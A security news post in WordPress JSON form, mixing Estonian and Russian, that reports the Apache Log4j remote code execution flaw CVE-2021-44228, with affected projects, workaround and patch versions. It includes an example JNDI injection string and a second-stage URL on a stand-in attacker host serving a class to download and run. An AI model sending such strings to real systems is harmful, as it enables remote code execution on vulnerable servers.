{"id":102562,"date":"2021-12-10T09:36:48","date_gmt":"2021-12-10T07:36:48","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty"},"modified":"2021-12-10T09:36:48","modified_gmt":"2021-12-10T07:36:48","slug":"katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/novosti-interneta\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","title":{"rendered":"Kohutav haavatavus Apache Log4j-s, mis m\u00f5jutab paljusid Java-projekte","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>\u0412 Apache Log4j, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043b\u043e\u0433\u043e\u0432 \u0432 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445,   \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043b\u043e\u0433 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 &#171;{jndi:URL}&#187;. \u0410\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u043d\u0430 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u0432 \u043b\u043e\u0433 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438 \u0432\u044b\u0432\u043e\u0434\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043d\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u0445 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445.     <\/p>\n<p>On m\u00e4rgitud, et probleemiga on haavatavad peaaegu k\u00f5ik projektid, mis kasutavad selliseid raamistikku nagu Apache Struts, Apache Solr, Apache Druid v\u00f5i Apache Flink, sealhulgas Steam, Apple iCloud, Minecrafti kliendid ja serverid. Oodata on, et haavatavus v\u00f5ib p\u00f5hjustada ulatuslikku r\u00fcnnakute laine ettev\u00f5tte rakendustele, korrates kriitiliste haavatavuste ajalugu Apache Strutsi raamistikus, mida veebirakendustes kasutab hinnanguliselt 65% Fortune 100 ettev\u00f5tetest. Juba on registreeritud katseid v\u00f5rgu skaneerimiseks haavatavate s\u00fcsteemide leidmiseks.    <\/p>\n<p>\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0441\u0443\u0433\u0443\u0431\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u0447\u0442\u043e \u0443\u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442, \u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u0432\u0435\u0442\u043e\u043a \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0435 \u0441\u0444\u0440\u043e\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u044b. \u0421VE-\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0442\u0435\u0441\u0442\u043e\u0432\u0443\u044e \u0432\u0435\u0442\u043a\u0443 log4j-2.15.0-rc1.  \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0431\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0443\u0442\u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0432\u044b\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 log4j2.formatMsgNoLookups \u0432 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 true.    <\/p>\n<p>\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0442\u0435\u043c, \u0447\u0442\u043e log4j \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043c\u0430\u0441\u043e\u043a &#171;{}&#187; \u0432 \u0432\u044b\u0432\u043e\u0434\u0438\u043c\u044b\u0445 \u0432 \u043b\u043e\u0433 \u0441\u0442\u0440\u043e\u043a\u0430\u0445, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0433\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u044b  JNDI (Java Naming and Directory Interface). \u0410\u0442\u0430\u043a\u0430 \u0441\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043a \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0441 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 &#171;${jndi:ldap:\/\/attacker.com\/a}&#187;, \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 log4j \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442 \u043d\u0430 <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/et\/server\/\"   title=\"server\" data-wpil-keyword-link=\"linked\">server<\/a> attacker.com  LDAP-\u0437\u0430\u043f\u0440\u043e\u0441 \u043f\u0443\u0442\u0438 \u043a Java-\u043a\u043b\u0430\u0441\u0441\u0443. \u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0451\u043d\u043d\u044b\u0439 <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/et\/server\/dts-prohoster\/\"   title=\"serveriga\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"3029\">serveriga<\/a> \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u043f\u0443\u0442\u044c (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, http:\/\/second-stage.attacker.com\/Exploit.class) \u0431\u0443\u0434\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.     <\/p>\n<p>\u0414\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 1: \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2021-44228.  <\/p>\n<p>Lisa 2: Leidti turvameetmete \u00fcmbers\u00f5itmise meetod, mis on lisatud versioonile log4j-2.15.0-rc1. Uus v\u00e4rskendus log4j-2.15.0-rc2 on pakutud, et pakkuda p\u00f5hjalikumat kaitset haavatavuse vastu. Koodis on esile t\u00f5stetud muudatus, mis on seotud \u00e4\u00e4rmiselt toksilise JNDI URL-i vale vormindamise juhtumite k\u00e4sitlemise puudumisega.<br \/>\n<br \/>Allikas: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=56319\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0412 Apache Log4j, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043b\u043e\u0433\u043e\u0432 \u0432 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043b\u043e\u0433 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 &#171;{jndi:URL}&#187;. \u0410\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u043d\u0430 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u0432 \u043b\u043e\u0433 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438 \u0432\u044b\u0432\u043e\u0434\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043d\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u0445 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445. \u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b 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